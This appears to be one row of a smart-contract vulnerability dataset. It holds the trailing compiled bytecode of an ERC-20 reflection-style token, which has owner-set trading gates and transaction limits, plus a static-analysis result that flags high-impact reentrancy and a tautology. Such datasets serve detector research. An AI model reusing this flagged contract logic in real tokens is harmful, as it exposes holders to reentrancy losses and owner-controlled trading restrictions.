15611f7a57600090506121fe565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120255750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120815742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600f81905550600c546010819055505b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561212c5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121fd576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156121cd575042601754600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ca91906135b0565b10155b156121e957600954600f81905550600a546010819055506121fc565b600d54600f81905550600e546010819055505b5b5b61220a848484846126ab565b50505050565b6000838311158290612258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224f91906132c9565b60405180910390fd5b50600083856122679190613691565b9050809150509392505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122dc573d6000803e3d6000fd5b5050565b6000600754821115612327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231e9061332b565b60405180910390fd5b60006123316126d8565b9050612346818461265190919063ffffffff16565b915050919050565b6001601960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561238657612385613822565b5b6040519080825280602002602001820160405280156123b45781602001602082028036833780820191505090505b50905030816000815181106123cc576123cb6137f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246e57600080fd5b505afa158015612482573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a69190612db9565b816001815181106124ba576124b96137f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061252130601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611502565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125859594939291906134e6565b600060405180830381600087803b15801561259f57600080fd5b505af11580156125b3573d6000803e3d6000fd5b50505050506000601960156101000a81548160ff02191690831515021790555050565b6000808314156125e9576000905061264b565b600082846125f79190613637565b90508284826126069190613606565b14612646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263d906133eb565b60405180910390fd5b809150505b92915050565b600061269383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612703565b905092915050565b6126a83061dead836116cd565b50565b806126b9576126b8612766565b5b6126c48484846127c8565b806126d2576126d1612993565b5b50505050565b60008060006126e56129b0565b915091506126fc818361265190919063ffffffff16565b9250505090565b6000808311829061274a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274191906132c9565b60405180910390fd5b50600083856127599190613606565b9050809150509392505050565b6000600f5414801561277a57506000601054145b801561278857506000601154145b15612792576127c6565b600f546012819055506010546013819055506011546014819055506000600f81905550600060108190555060006011819055505b565b6000806000806000806127da87612a12565b95509550955095509550955061283886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291981612b22565b6129238483612bdf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161298091906134cb565b60405180910390a3505050505050505050565b601254600f81905550601354601081905550601454601181905550565b600080600060075490506000683635c9adc5dea0000090506129e6683635c9adc5dea0000060075461265190919063ffffffff16565b821015612a0557600754683635c9adc5dea00000935093505050612a0e565b81819350935050505b9091565b6000806000806000806000806000612a2f8a600f54601054612c19565b9250925092506000612a3f6126d8565b90506000806000612a528e878787612caf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612abc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612210565b905092915050565b6000808284612ad391906135b0565b905083811015612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f906133ab565b60405180910390fd5b8091505092915050565b6000612b2c6126d8565b90506000612b4382846125d690919063ffffffff16565b9050612b9781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bf482600754612a7a90919063ffffffff16565b600781905550612c0f81600854612ac490919063ffffffff16565b6008819055505050565b600080600080612c456064612c37888a6125d690919063ffffffff16565b61265190919063ffffffff16565b90506000612c6f6064612c61888b6125d690919063ffffffff16565b61265190919063ffffffff16565b90506000612c9882612c8a858c612a7a90919063ffffffff16565b612a7a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612cc885896125d690919063ffffffff16565b90506000612cdf86896125d690919063ffffffff16565b90506000612cf687896125d690919063ffffffff16565b90506000612d1f82612d118587612a7a90919063ffffffff16565b612a7a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612d4781613c4a565b92915050565b600081519050612d5c81613c4a565b92915050565b600081359050612d7181613c61565b92915050565b600081359050612d8681613c78565b92915050565b600060208284031215612da257612da1613851565b5b6000612db084828501612d38565b91505092915050565b600060208284031215612dcf57612dce613851565b5b6000612ddd84828501612d4d565b91505092915050565b60008060408385031215612dfd57612dfc613851565b5b6000612e0b85828601612d38565b9250506020612e1c85828601612d38565b9150509250929050565b600080600060608486031215612e3f57612e3e613851565b5b6000612e4d86828701612d38565b9350506020612e5e86828701612d38565b9250506040612e6f86828701612d77565b9150509250925092565b60008060408385031215612e9057612e8f613851565b5b6000612e9e85828601612d38565b9250506020612eaf85828601612d77565b9150509250929050565b600060208284031215612ecf57612ece613851565b5b6000612edd84828501612d62565b91505092915050565b600060208284031215612efc57612efb613851565b5b6000612f0a84828501612d77565b91505092915050565b60008060408385031215612f2a57612f29613851565b5b6000612f3885828601612d77565b9250506020612f4985828601612d77565b9150509250929050565b6000612f5f8383612f6b565b60208301905092915050565b612f74816136c5565b82525050565b612f83816136c5565b82525050565b6000612f948261356b565b612f9e818561358e565b9350612fa98361355b565b8060005b83811015612fda578151612fc18882612f53565b9750612fcc83613581565b925050600181019050612fad565b5085935050505092915050565b612ff0816136d7565b82525050565b612fff8161371a565b82525050565b61300e8161372c565b82525050565b600061301f82613576565b613029818561359f565b9350613039818560208601613762565b61304281613856565b840191505092915050565b600061305a60238361359f565b915061306582613867565b604082019050919050565b600061307d60188361359f565b9150613088826138b6565b602082019050919050565b60006130a0602a8361359f565b91506130ab826138df565b604082019050919050565b60006130c3601c8361359f565b91506130ce8261392e565b602082019050919050565b60006130e660268361359f565b91506130f182613957565b604082019050919050565b600061310960228361359f565b9150613114826139a6565b604082019050919050565b600061312c601b8361359f565b9150613137826139f5565b602082019050919050565b600061314f60348361359f565b915061315a82613a1e565b604082019050919050565b600061317260218361359f565b915061317d82613a6d565b604082019050919050565b600061319560208361359f565b91506131a082613abc565b602082019050919050565b60006131b860298361359f565b91506131c382613ae5565b604082019050919050565b60006131db60258361359f565b91506131e682613b34565b604082019050919050565b60006131fe60238361359f565b915061320982613b83565b604082019050919050565b600061322160248361359f565b915061322c82613bd2565b604082019050919050565b6000613244600c8361359f565b915061324f82613c21565b602082019050919050565b61326381613703565b82525050565b6132728161370d565b82525050565b600060208201905061328d6000830184612f7a565b92915050565b60006020820190506132a86000830184612fe7565b92915050565b60006020820190506132c36000830184612ff6565b92915050565b600060208201905081810360008301526132e38184613014565b905092915050565b600060208201905081810360008301526133048161304d565b9050919050565b6000602082019050818103600083015261332481613070565b9050919050565b6000602082019050818103600083015261334481613093565b9050919050565b60006020820190508181036000830152613364816130b6565b9050919050565b60006020820190508181036000830152613384816130d9565b9050919050565b600060208201905081810360008301526133a4816130fc565b9050919050565b600060208201905081810360008301526133c48161311f565b9050919050565b600060208201905081810360008301526133e481613142565b9050919050565b6000602082019050818103600083015261340481613165565b9050919050565b6000602082019050818103600083015261342481613188565b9050919050565b60006020820190508181036000830152613444816131ab565b9050919050565b60006020820190508181036000830152613464816131ce565b9050919050565b60006020820190508181036000830152613484816131f1565b9050919050565b600060208201905081810360008301526134a481613214565b9050919050565b600060208201905081810360008301526134c481613237565b9050919050565b60006020820190506134e0600083018461325a565b92915050565b600060a0820190506134fb600083018861325a565b6135086020830187613005565b818103604083015261351a8186612f89565b90506135296060830185612f7a565b613536608083018461325a565b9695505050505050565b60006020820190506135556000830184613269565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135bb82613703565b91506135c683613703565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135fb576135fa613795565b5b828201905092915050565b600061361182613703565b915061361c83613703565b92508261362c5761362b6137c4565b5b828204905092915050565b600061364282613703565b915061364d83613703565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561368657613685613795565b5b828202905092915050565b600061369c82613703565b91506136a783613703565b9250828210156136ba576136b9613795565b5b828203905092915050565b60006136d0826136e3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006137258261373e565b9050919050565b600061373782613703565b9050919050565b600061374982613750565b9050919050565b600061375b826136e3565b9050919050565b60005b83811015613780578082015181840152602081019050613765565b8381111561378f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060008201527f62652067726561746572207468616e20302e3125000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b613c53816136c5565b8114613c5e57600080fd5b50565b613c6a816136d7565b8114613c7557600080fd5b50565b613c8181613703565b8114613c8c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122092f722153e25e55528987f7bd09abff1c64c3a2f1c0a171b1bce942f9fd1cd7d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,899 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.